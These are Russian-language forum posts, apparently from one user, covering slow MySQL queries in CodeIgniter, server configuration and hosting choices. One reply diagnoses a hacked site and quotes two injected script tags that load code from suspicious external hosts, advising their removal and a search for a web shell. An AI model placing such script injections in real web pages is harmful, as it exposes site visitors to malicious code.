так они же вроде как закрываются.
проставил индексы, сайт действительно стал грузиться как ракета. Раньше не придавал им значения (дурная привычка сначала что-то делать а уже потом читать документацию :) ).
По поводу ORDER BY RAND() - сам не составляю SQL запрос, делаю через CI
function items($num,$catid) { $this->db->where('categoryId',$catid); $this->db->limit($num); $this->db->order_by('id','random'); $query = $this->db->get('items'); return $query->result_array(); }
вероятно CI использует ORDER BY RAND(), так что учту.
В общем ответы на вопросы я нашел, всем кому смог плюсанул, тему можно закрывать.
ах да, и за флуд тоже спасибо 🍿
есть аналогичные сайты с БД менее 10 МБ. грузятся очень быстро.
По поводу того что 100 МБ - это БД малютка, то лично я с такими в первый раз столкнулся.
в БД есть одна большая таблица с описаниями товаров (их там около 130к) размером в 100MB.
структура:
id int(11) original_id int(11) name text url text currencyId varchar(5) picture text thumbnail text description text model text price float vendor text categoryId int(11)
Собственно основная работа идет с ней (2 запроса - сначала описание конкретного товара, потом "похожие товары" рандомно из той же категории). Очень много типов text, но не был уверен в размере varchar, поэтому выбрал его (возможно в этом проблема?). Выборка идет по id и categoryId.
q_metainfo, собственно и спрашиваю по поводу конфигурации. Посоветуете ссылочки/литературку?? и в каком направлении копать?
И еще. сравнил скорости отдачи на локалке (денвер) и сервере - разница существенна (1сек/5сек). т.е. подозреваю что причина все-таки в производительности/конфигурации сервера.
насчет кэша - спасибо, сделал, помогло. Но все равно хотелось бы чтобы странички даже при первом вызове грузились быстрее.
если шелл стоит на сайте, то ему по барабану что за движок - он сам себе хозяин. 🍿
ТС, вам нужно искать шелл, по другому никак.
а давно обновляли браузер?
езжай в сочи. ну или турцию
значит он добавляется посредтвом js скрипта.
В самом начале перед тегом "<!DOCTYPE html " у вас идет:
<nofollow><script language='JavaScript' src=http://f5uygunx71.bestfree.pw/infob.php?i=25659></script></nofollow>
по этой ссылке как раз и идет скрипт со ставкой пустого айфрейма.
подозреваю что это вирусный код, раньше там было чтото вредоносное (или будет в будущем).
Короче, удаляйте его.
если этот код добавили не вы, значит у вас на сайте гдето шелл стоит.
я так понял вот этот скрипт:
<script type="text/javascript" src="http://more152.net/red.php?s=2398174020"></script>
хотя у меня он почемуто не загружается.
так это все проклятый маркетинг. или умение продать то что людям не нужно. 🍿
По поводу того почему нужен новый хостинг: я немного параноик, поэтому когда упал спринтхост вместе со всеми клиентскими серверами это меня смутило. Мне нужна какая-то альтернатива, чтобы в случае чего я бы мог развернуться на другой проверенной площадке. Диверсификация так сказать.
переносить старые проекты на новый хостинг не требуется, т.к. на новом будут новые проекты, для которых нужен свой IP.
в фаствпс у меня самый дешевый тариф + ISP manager.
Мне достаточно будет 400-1000 МГц, 300-1000 мб оперы и 3-10Гб диск.